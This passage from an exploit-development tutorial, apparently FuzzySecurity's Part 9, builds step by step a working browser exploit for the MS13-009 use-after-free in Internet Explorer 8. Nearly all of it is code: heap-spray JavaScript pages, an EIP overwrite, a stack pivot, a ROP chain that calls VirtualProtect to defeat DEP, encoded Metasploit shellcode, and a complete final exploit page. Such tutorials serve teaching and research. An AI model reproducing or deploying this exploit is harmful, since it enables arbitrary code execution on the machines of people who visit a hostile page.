objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
From the screenshot below we can see that we have overwritten EIP with 0x90909090, the reason for this is that EIP gets its value from the DWORD that is located at 0x0c0c0c0c + 0x70 = 0x0c0c0c7c which points into our nopslide.
This may seem a bit confusing at first, hopefully the representation below will help clear things up!
mshtml!CElement::Doc:
3cf76980 8b01 mov eax,dword ptr [ecx] /// eax = 0x0c0c0c0c
3cf76982 8b5070 mov edx,dword ptr [eax+70h] /// edx = 0x0c0c0c0c + 0x70 = DWORD 0x0c0c0c7c
3cf76985 ffd2 call edx /// call DWORD 0x0c0c0c7c
________________________
| |
| Padding |
| |
| |
| |
| |
| |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode
| Shellcode | variable.
|------------------------|
| |
| |
| NOP's |
| |
| | <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this
| | address, in this case 0x90909090.
| |
| |
| |
| |
| |
| (0x1000 Block) |
|________________________|
Lets try to pad our shellcode variable so we can precisely overwrite EIP. We can do this by prepending our unescape ASCII-string with a buffer length of 0x70 hex (112-bytes = 28-DWORD's).
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+ // Padding 0x70 hex!
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u7546%u7a7a%u5379'+ // ASCII
'%u6365%u7275%u7469'+ // FuzzySecurity
'%u9079');
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
As expected we now have full control over EIP. As a reminder, the value in EIP is in Little Endian.
The new layout of our 0x1000 hex block is as follows.
________________________
| |
| Padding |
| |
| |
| |
| |
| |
|------------------------| <-- 0x0c0c0c0c (= EAX), this points exactly at the start of our shellcode
| | variable.
| |
| Shellcode |
| |
| |
| |
|---------[EIP]----------| <-- 0x0c0c0c7c (= EAX+70h), EIP is overwritten by the DWORD value at this
| | address.
| |
| NOP's |
| |
| |
| |
| (0x1000 Block) |
|________________________|
Ok perfect! Now we have to face our next obstacle. Our ROP-chain and shellcode will be located on the heap but our stack pointer (= ESP) points somewhere inside mshtml. Any ROP gadget that we execute will return to the next address on the stack so we need to pivot the stack from mshtml to the area that we control on the heap (our 0x1000 byte block). As you will remember EAX points exactly to the beginning of our shellcode variable so if we find a ROP gadget that moves EAX to ESP or exchanges them we will be able to pivot the stack and start executing our ROP-chain at 0x0c0c0c0c.
I will be using ROP gadgets from MSVCR71.dll which comes packaged with java6 and is automatically loaded by Internet Explorer. I have included two text files below that were generated by mona: (1) MSVCR71_rop_suggestions.txt which contains a list of thematically organized ROP gadgets and (2) MSVCR71_rop.txt which contains a raw list of ROP gadgets. If you want to play around with them I suggest that you download the files and parse them with regular expressions.
MSVCR71_rop_suggestions.txt - here
MSVCR71_rop.txt - here
Parsing the text file we can easily find the gadget that we need, let's modify our POC and verify that everything works as expected.
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
'%u4242%u4242'+ // EIP will be overwritten with 0x42424242 (= BBBB)
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u4141%u4141'+
'%u8b05%u7c34'); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
From the screenshots below we can see that we hit our breakpoint on XCHG EAX,ESP and if we continue execution flow we successfully pivot the stack and try to execute the first DWORD at 0x0c0c0c0c.
We are almost out of the woods. We now have to execute a ROP-chain that disables DEP for a region of memory so we can execute a second stage payload. Fortunately MSVCR71.dll has repeatedly been abused by attackers and there already exists an optimized ROP-chain for this dll that was created by corelanc0d3r here. Let's insert this ROP-chain in our POC and rerun the exploit.
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
//--------------------------------------------------------[ROP]-//
// Generic ROP-chain based on MSVCR71.dll
//--------------------------------------------------------------//
"%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
"%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
"%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
"%uffff%uffff" + // 0xffffffff :
"%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
"%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
"%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
"%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
"%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
"%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
"%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
"%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
"%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp # ret " [msvcr71.dll]
//-------------------------------------------------[ROP Epilog]-//
// After calling VirtalProtect() we are left with some junk.
//--------------------------------------------------------------//
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" + // Junk
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
//-------------------------------------------[EIP - Stackpivot]-//
// EIP = 0x7c342643 # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
//--------------------------------------------------------------//
"%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
From the screenshots we can see that we hit our first gadget after pivoting the stack and that we reach our leftover junk after our call to VirtualProtect.
All that is left now is to insert a short jump at the end of our junk buffer that jumps over our initial EIP overwrite (XCHG EAX,ESP # RETN). Any shellcode that we place after our short jump will get executed!
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
//--------------------------------------------------------[ROP]-//
// Generic ROP-chain based on MSVCR71.dll
//--------------------------------------------------------------//
"%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
"%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
"%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
"%uffff%uffff" + // 0xffffffff :
"%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
"%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
"%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
"%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
"%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
"%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
"%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
"%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
"%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp # ret " [msvcr71.dll]
//-------------------------------------------------[ROP Epilog]-//
// After calling VirtalProtect() we are left with some junk.
//--------------------------------------------------------------//
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" + // Junk
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
//-------------------------------------------[EIP - Stackpivot]-//
// EIP = 0x7c342643 # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
//--------------------------------------------------------------//
"%u8b05%u7c34"); // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
After executing our short jump we land just after what used to be EIP and we are home free to execute any shellcode of our choosing!
Shellcode + Game Over
Time for the easy part, let's generate some shellcode!
root@Trident:~# msfpayload windows/messagebox O
Name: Windows MessageBox
Module: payload/windows/messagebox
Version: 0
Platform: Windows
Arch: x86
Needs Admin: No
Total size: 270
Rank: Normal
Provided by:
corelanc0d3r <peter.ve@corelan.be>
jduck <jduck@metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT Hello, from MSF! yes Messagebox Text (max 255 chars)
TITLE MessageBox yes Messagebox Title (max 255 chars)
Description:
Spawns a dialog via MessageBox using a customizable title, text &
icon
root@Trident:~# msfpayload windows/messagebox text='Bang, bang!' title='b33f' R| msfencode -t js_le
[*] x86/shikata_ga_nai succeeded with size 282 (iteration=1)
%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211%u9f24%u7284
%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5%u8490%u1377%uac2a%u1cbf
%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940%u474a%u6857%ufd01%ue74f%u224f%u1c71
%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600
%u3797%u6c0a%ua359%ue7cc%u7855%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658
%u0ed4%u2413%u5e8e%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc
%u3023%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c%u59eb
%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46%uc06c%u9ff0%uae49
%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6%u41f0%ud09e%u5ad6%u0917%u8f27
%u9975%u7d19%ucd86%u41ab%u1128%u499e
Ok now lets clean up our POC, add comments and run the final exploit. I want to mention again that this vulnerability has some reliability issues (only triggers properly 80% of the time), if anyone has any input about this please leave a comment below.
<!-----------------------------------------------------------------------------
// Exploit: MS13-009 Use-After-Free IE8 (DEP) //
// Author: b33f - http://www.fuzzysecurity.com/ //
// OS: Tested on XP PRO SP3 //
// Browser: Internet Explorer 8.00.6001.18702 //
//---------------------------------------------------------------------------//
// This exploit was created for Part 9 of my Exploit Development tutorial //
// series => http://www.fuzzysecurity.com/tutorials/expDev/11.html //
------------------------------------------------------------------------------>
<!doctype html>
<html>
<head>
<script>
//Fix BSTR spec
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F4; //0x5FA => offset 0x1000 hex block to 0x0c0c0c0c
Padding = '';
NopSlide = '';
var Shellcode = unescape(
//--------------------------------------------------------[ROP]-//
// Generic ROP-chain based on MSVCR71.dll
//--------------------------------------------------------------//
"%u653d%u7c37" + // 0x7c37653d : POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
"%ufdff%uffff" + // 0xfffffdff : Value to negate, will become 0x00000201 (dwSize)
"%u7f98%u7c34" + // 0x7c347f98 : RETN (ROP NOP) [msvcr71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : JMP [EAX] [msvcr71.dll]
"%uffff%uffff" + // 0xffffffff :
"%u6402%u7c37" + // 0x7c376402 : skip 4 bytes [msvcr71.dll]
"%u1e05%u7c35" + // 0x7c351e05 : NEG EAX # RETN [msvcr71.dll]
"%u5255%u7c34" + // 0x7c345255 : INC EBX # FPATAN # RETN [msvcr71.dll]
"%u2174%u7c35" + // 0x7c352174 : ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
"%u4f87%u7c34" + // 0x7c344f87 : POP EDX # RETN [msvcr71.dll]
"%uffc0%uffff" + // 0xffffffc0 : Value to negate, will become 0x00000040
"%u1eb1%u7c35" + // 0x7c351eb1 : NEG EDX # RETN [msvcr71.dll]
"%ud201%u7c34" + // 0x7c34d201 : POP ECX # RETN [msvcr71.dll]
"%ub001%u7c38" + // 0x7c38b001 : &Writable location [msvcr71.dll]
"%u7f97%u7c34" + // 0x7c347f97 : POP EAX # RETN [msvcr71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ptr to "push esp # ret " [msvcr71.dll]
//-------------------------------------------------[ROP Epilog]-//
// After calling VirtalProtect() we are left with some junk.
//--------------------------------------------------------------//
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" + // Junk
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u4141" +
"%u4141%u04eb" + // 0xeb04 short jump to get over what used to be EIP
//-------------------------------------------[EIP - Stackpivot]-//
// EIP = 0x7c342643 # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
//--------------------------------------------------------------//
"%u8b05%u7c34" + // 0x7c348b05 : # XCHG EAX,ESP # RETN ** [MSVCR71.dll]
//--------------------------------------------------[shellcode]-//
// js Little Endian Messagebox => "Bang, bang!"
//--------------------------------------------------------------//
"%ud1bb%u6f46%ud9e9%ud9c7%u2474%u5af4%uc931%u40b1%uc283%u3104%u115a%u5a03%ue211" +
"%u9f24%u7284%u541f%u717f%u47ae%u0ecd%uaee1%u7a56%u0170%u0a1c%uea7e%uef54%uaaf5" +
"%u8490%u1377%uac2a%u1cbf%ua434%ufb4c%u9745%u1d4d%u9c25%ufadd%u2982%u3f58%u7940" +
"%u474a%u6857%ufd01%ue74f%u224f%u1c71%u168c%u6938%udc66%u83bb%u1db7%u9b8a%u4d4b" +
"%udb69%u89c7%u13b3%u972a%u47f4%uacc0%ub386%ua600%u3797%u6c0a%ua359%ue7cc%u7855" +
"%ua29b%u7f79%ud970%uf486%u3687%u4e0f%udaa3%u8c71%uea19%uc658%u0ed4%u2413%u5e8e" +
"%ua76a%u0da2%u289b%u4dc5%udea4%ub67c%u9fe0%u54a6%ue765%ubd4a%u0fd8%u42fc%u3023" +
"%uf889%ua7d4%u6ee5%u76c5%u5d9d%u5737%uca39%ud442%u78a4%u4625%u7702%u91bc%u781c" +
"%u59eb%u4429%ud944%ueb81%ua128%uf756%u8b96%u69b0%ud428%u02bf%u0b8e%uf31f%u2e46" +
"%uc06c%u9ff0%uae49%ufba1%u2669%u6cba%u5f1f%u351c%ub3b7%ua77e%ua426%u463c%u53c6" +
"%u41f0%ud09e%u5ad6%u0917%u8f27%u9975%u7d19%ucd86%u41ab%u1128%u499e");
for (p = 0; p < padding_size; p++){
Padding += unescape('%ub33f');}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');}
NopSlide = NopSlide.substring(0,block_size - (Shellcode.length + Padding.length));
var OBJECT = Padding + Shellcode + NopSlide;
OBJECT = alloc(0xfffe0, OBJECT); // 0xfffe0 = 1mb
var evil = new Array();
for (var k = 0; k < 150; k++) {
evil[k] = OBJECT.substr(0, OBJECT.length);
}
var data;
var objArray = new Array(1150);
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
for (var i=0;i<1150;i++){
objArray[i] = document.createElement('div');
objArray[i].className = data += unescape("%u0c0c%u0c0c");
}
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>